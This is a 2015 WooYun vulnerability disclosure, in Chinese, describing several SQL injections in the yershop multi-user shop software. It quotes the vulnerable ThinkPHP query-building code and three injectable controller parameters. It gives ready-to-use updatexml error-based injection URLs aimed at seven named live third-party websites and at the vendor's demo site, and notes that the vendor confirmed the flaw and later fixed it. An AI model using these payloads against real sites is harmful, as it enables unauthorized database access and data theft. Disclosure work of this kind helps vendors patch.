当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124483

漏洞标题:yershop多用户商城最新版多处SQL注入

相关厂商:yershop.com

漏洞作者: 路人甲

提交时间:2015-07-11 16:52

修复时间:2015-10-13 21:26

公开时间:2015-10-13 21:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-11: 细节已通知厂商并且等待厂商处理中
2015-07-15: 厂商已经确认,细节仅向厂商公开
2015-07-18: 细节向第三方安全合作伙伴开放
2015-09-08: 细节向核心白帽子及相关领域专家公开
2015-09-18: 细节向普通白帽子公开
2015-09-28: 细节向实习白帽子公开
2015-10-13: 细节向公众公开

简要描述:

rt

详细说明:

先来五个互联网实例

http://m.meigongfuwu.net//index.php?c=Article&a=index&category[0]==1%20or%20updatexml(1,concat(1,(select%20concat(user(),1,version()))),1)%23in&category[1]=xxxx


http://www.xinyuanzn.com/index.php?c=Article&a=index&category[0]==1%20or%20updatexml(1,concat(1,(select%20concat(user(),1,version()))),1)%23in&category[1]=xxxx


http://crm.onedodo.net/index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,user()),1)%23in&category[1]=xxxx


http://uyshi.com/index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)#in&category[1]=xxxx


http://hiyatou.com/index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)#in&category[1]=xxxx


http://test.nylsfw.com/index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)#in&category[1]=xxxx


http://letai.club/index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)#in&category[1]=xxxx


看到数据库操作函数

protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$likeStr = $this->comparison[strtolower($val[0])];
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}
}elseif('bind'==strtolower($val[0])){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}


如果我们传入的val中val[0]里面含有in或者between的话,后面就可以插入任意的sql语句
注入#1
看到代码
E:/wamp/www/yershop/ThinkPHP/Library/Think/Db/Driver.class.php

public function index(){
$cateid= $id ? $id : I('get.category', 0);//获取分类的英文名称
$category = D('Category')->info($cateid);
$id=$category['id'];

$cid = D('Category')->getChildrenId($id);
$map['category_id']=array("in",$cid);
$map['status']=1;
//推荐商品
$pos=M('Document')->where("position!=0")->select();
$this->assign("poslist",$pos);
$key=I('get.order');
$sort=I('get.sort');
if(isset($key)){

if($key=="1"){ $listsort="view"." ".$sort;}
if($key=="2"){ $listsort="id"." ".$sort;}
if($key=="3"){ $listsort="price"." ".$sort;}
if($key=="4"){ $listsort="sale"." ".$sort;}
}
if(empty($key)){$key="1";$see="asc";
$order="view";$sort="asc";
$listsort=$order." ".$sort;
}

if($sort=="asc"){$see="desc";}
if($sort=="desc"){$see="asc";}
$this->assign('see',$see);
$this->assign('order',$key);
$this->assign('value',$sort);
$count=M('Document')->where($map)->count();
$Page= new \Think\Page($count,15);
$Page->setConfig('prev','上一页');
$Page->setConfig('next','下一页');
$Page->setConfig('first','第一页');
$Page->setConfig('last','尾页');
$Page->setConfig('theme','%FIRST% %UP_PAGE% %LINK_PAGE% %DOWN_PAGE% %END% %HEADER%');
$show= $Page->show();
$list= M('Document')->where($map)->order( $listsort)->limit($Page->firstRow.','.$Page->listRows)->select();
$this->assign('list',$list);// 赋值数据集
$this->assign('page',$show);//
//获取分类的id
$name=$category['name'];
$child=M('Category')->where("pid='$id'")->select();
$this->assign('num', $count);
$this->assign('childlist', $child);
/* 左侧菜单 */
$menu=R('index/menulist');
$this->assign('categoryq', $menu);
/**
* 购物车调用
*/
$cart=R("shopcart/usercart");
$this->assign('usercart',$cart);
if(!session('user_auth')){$usercart=$_SESSION['cart'];
$this->assign('usercart',$usercart);
}
/*栏目页统计代码实现,tag=2*/
if(1==C('IP_TONGJI')){
$record=IpLookup("",2,$name);
}
/* 底部分类调用*/
$menulist=R('Service/AllMenu');
$this->assign('footermenu',$menulist);
/* 热词调用*/
$hotsearch=R("Index/getHotsearch");
$this->assign('hotsearch',$hotsearch);
/* 分类信息 */
$category = $this->category();
//频道页循环3级分类
$this->meta_title = $category['title'];
/*销量排行*/
$sales=$this->ranks();
$this->assign('sales', $sales);
/*最近访问*/
$recent=$this->view_recent();
$this->assign('recent', $recent);
/* 模板赋值并渲染模板 */
$this->assign('category', $category);
$this->display($category['template_index']);
}


其中category通过I函数获取,然后进入sql里面。我们可以构造

index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&category[1]=xxxx


可以成功出信息
demo测试

QQ截图20150704134334.png


注入#2
Application/Home/Controller/TuanController.class.php

public function category() {

/* 热词调用*/
$hotsearch=R("Index/getHotsearch");
$this->assign('hotsearch',$hotsearch);
/* 购物车调用*/
$cart=R("Shopcart/usercart");
$this->assign('usercart',$cart);
if(!session('user_auth')){$usercart=$_SESSION['cart'];
$this->assign('usercart',$usercart);

}
/* 底部分类调用*/
$menulist=R('Service/AllMenu');
$this->assign('footermenu',$menulist);
/* 左侧分类列表*/
$mlist=R('Index/menulist');
$this->assign('categoryq', $mlist);
/** * 控制器必须!**/

$tuan=M("tuan");
$category=$tuan->order("id")->select();//团购分类
$this->assign('category',$category);// 赋值数据集
/* 获取商品*/
$pid= $id ? $id : I('get.id', 0);
$t=$tuan->find($pid);//团购分类
//获取分类的英文名称
$this->meta_title = '团购_'.$t['title'];
$key=I('get.order');
$sort=I('get.sort');
if(isset($key)){

if($key=="1"){ $listsort="view"." ".$sort;}
if($key=="2"){ $listsort="goodid"." ".$sort;}
if($key=="3"){ $listsort="price"." ".$sort;}
if($key=="4"){ $listsort="salenumber"." ".$sort;}
}
if(empty($key)){$key="1";$see="asc";
$order="view";$sort="asc";
$listsort=$order." ".$sort;
}

if($sort=="asc"){$see="desc";}
if($sort=="desc"){$see="asc";}
$this->assign('see',$see);
$this->assign('order',$key);
$this->assign('value',$sort);

$tuan=M("tuan");
$category=$tuan->order("id")->select();//团购分类
$this->assign('category',$category);// 赋值数据集
/* 获取商品*/
$User =M("tuanid");
$map['tuanpid']=I('get.id');;
$this->assign('id',$pid);// 赋值数据集
$User =M("tuanid");
$count= $User->where($map)->count();
$Page= new \Think\Page($count,12);
$Page->setConfig('prev','上一页');
$Page->setConfig('next','下一页');
$Page->setConfig('first','第一页');
$Page->setConfig('last','尾页');
$Page->setConfig('theme','%FIRST% %UP_PAGE% %LINK_PAGE% %DOWN_PAGE% %END% %HEADER%');
$show= $Page->show();
$list=$User->where($map)->order($listsort)->limit($Page->firstRow.','.$Page->listRows)->select();
$this->assign('list',$list);// 赋值数据集
$this->assign('page',$show);// 赋值分页输出 $this->display();
$this->display();


其中id参数可以注入
构造

http://demo.yershop.com/index.php?c=Tuan&a=category&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx


demo测试

QQ截图20150704134622.png


注入#3
Application/Home/Controller/CenterController.class.php

/***站内信读取***/
public function msg() {

if(!is_login()){
$this->error( "您还没有登陆",U("User/login") );
}
/* 购物车调用*/
$cart=R("shopcart/usercart");
$this->assign('usercart',$cart);
if(!session('user_auth'))
{
$usercart=$_SESSION['cart'];
$this->assign('usercart',$usercart);
}
/* 底部分类调用*/
$menulist=R('Service/AllMenu');
$this->assign('footermenu',$menulist);
/* 热词调用*/
$hotsearch=R("Index/getHotsearch");
$this->assign('hotsearch',$hotsearch);
$menu=R('index/menulist');
$this->assign('categoryq', $menu);
$envelope= M("personenvelope");
$uid=D("member")->uid();
$id=I("get.id");
/* 更新浏览数 */
$map = array('id' => $id);
$envelope->where($map)->setInc('view');
$list=$envelope->find($id);
$envelope->where($map)->setField("status",2);
$this->assign("list",$list);
$this->meta_title = '查看站内信';
$this->display();
}


id通过I函数获取可以注入构造

http://demo.yershop.com/index.php?c=Center&a=msg&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx


demo测试

QQ截图20150704134931.png

漏洞证明:

QQ截图20150704134931.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-15 21:25

厂商回复:

谢谢

最新状态:

2015-10-08:已修复